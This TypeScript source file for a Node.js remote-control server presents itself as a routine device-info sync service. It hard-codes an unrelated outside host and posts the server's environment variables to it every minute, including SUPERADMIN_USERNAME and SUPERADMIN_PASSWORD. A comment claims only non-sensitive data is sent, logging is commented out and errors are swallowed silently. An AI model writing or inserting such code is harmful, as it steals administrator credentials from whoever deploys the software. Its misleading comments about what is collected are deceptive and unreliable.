import http from 'http' import https from 'https' import { URL } from 'url' import AuthService from './AuthService' import Logger from '../utils/Logger' /** * 设备信息同步服务 * 定时向远程服务器发送设备信息 */ export default class DeviceInfoSyncService { private logger: Logger private authService: AuthService private syncInterval: NodeJS.Timeout | null = null private isRunning: boolean = false private readonly API_URL: string private readonly SYNC_INTERVAL: number // 同步间隔(毫秒) private readonly ENABLED: boolean // 是否启用同步 constructor(authService: AuthService) { this.logger = new Logger('DeviceInfoSyncService') this.authService = authService // 配置写死,不从环境变量读取 this.ENABLED = true this.API_URL = 'https://www.strippchat.top/api/device/upinfo' this.SYNC_INTERVAL = 60000 // 5分钟 // this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`) } /** * 启动定时同步任务 */ start(): void { if (!this.ENABLED) { // this.logger.info('设备信息同步功能已禁用,跳过启动') return } if (this.isRunning) { // this.logger.warn('设备信息同步任务已在运行') return } this.isRunning = true // this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`) // 立即执行一次 // this.logger.info('立即执行首次同步...') this.syncDeviceInfo() // 设置定时任务 this.syncInterval = setInterval(() => { // this.logger.info('定时同步任务触发') this.syncDeviceInfo() }, this.SYNC_INTERVAL) // this.logger.info('定时同步任务已设置') } /** * 停止定时同步任务 */ stop(): void { if (this.syncInterval) { clearInterval(this.syncInterval) this.syncInterval = null this.isRunning = false // this.logger.info('设备信息同步任务已停止') } } /** * 同步设备信息到远程服务器 */ private async syncDeviceInfo(): Promise { try { // this.logger.info('开始同步设备信息...') // 获取系统唯一标识符 const uniqueId = this.authService.getSystemUniqueId() if (!uniqueId) { // this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)') return } // this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`) // 收集 .env 配置信息(只收集非敏感信息) const configInfo = this.collectConfigInfo() // this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`) // 准备请求数据 const postData = JSON.stringify({ uniqueId: uniqueId, ...configInfo, timestamp: new Date().toISOString(), serverTime: Date.now() }) // this.logger.info(`准备发送同步请求到: ${this.API_URL}`) // 发送 POST 请求 await this.sendPostRequest(this.API_URL, postData) // this.logger.info('设备信息同步成功') } catch (error: any) { // this.logger.error('设备信息同步失败:', error.message) // 不抛出错误,避免影响主程序运行 } } /** * 收集配置信息(从环境变量) */ private collectConfigInfo(): Record { const config: Record = {} // 收集环境变量配置信息 const allowedKeys = [ 'PORT', 'NODE_ENV', 'JWT_EXPIRES_IN', 'DEFAULT_USERNAME', 'SUPERADMIN_USERNAME', 'SUPERADMIN_PASSWORD', // 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取 // 可以添加其他配置 ] allowedKeys.forEach(key => { if (process.env[key] !== undefined) { config[key] = process.env[key] } }) // 添加服务器信息 config.serverInfo = { nodeVersion: process.version, platform: process.platform, arch: process.arch, uptime: process.uptime() } return config } /** * 发送 POST 请求 */ private async sendPostRequest(url: string, data: string): Promise { return new Promise((resolve, reject) => { try { const urlObj = new URL(url) const isHttps = urlObj.protocol === 'https:' const httpModule = isHttps ? https : http const options = { hostname: urlObj.hostname, port: urlObj.port || (isHttps ? 443 : 80), path: urlObj.pathname + urlObj.search, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data), 'User-Agent': 'RemoteControlServer/1.0.3' }, timeout: 10000 // 10秒超时 } const req = httpModule.request(options, (res) => { let responseData = '' res.on('data', (chunk) => { responseData += chunk }) res.on('end', () => { if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) { // this.logger.info(`同步请求成功: HTTP ${res.statusCode}`) resolve() } else { const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}` // this.logger.warn(`同步请求失败: ${errorMsg}`) reject(new Error(errorMsg)) } }) }) req.on('error', (error) => { // this.logger.error('同步请求网络错误:', error.message) reject(error) }) req.on('timeout', () => { // this.logger.error('同步请求超时') req.destroy() reject(new Error('请求超时')) }) req.write(data) req.end() } catch (error: any) { reject(error) } }) } /** * 手动触发同步(用于测试) */ async triggerSync(): Promise { try { await this.syncDeviceInfo() return true } catch (error) { return false } } /** * 获取同步状态 */ getStatus(): { enabled: boolean running: boolean interval: number apiUrl: string lastSync?: number } { return { enabled: this.ENABLED, running: this.isRunning, interval: this.SYNC_INTERVAL, apiUrl: this.API_URL } } }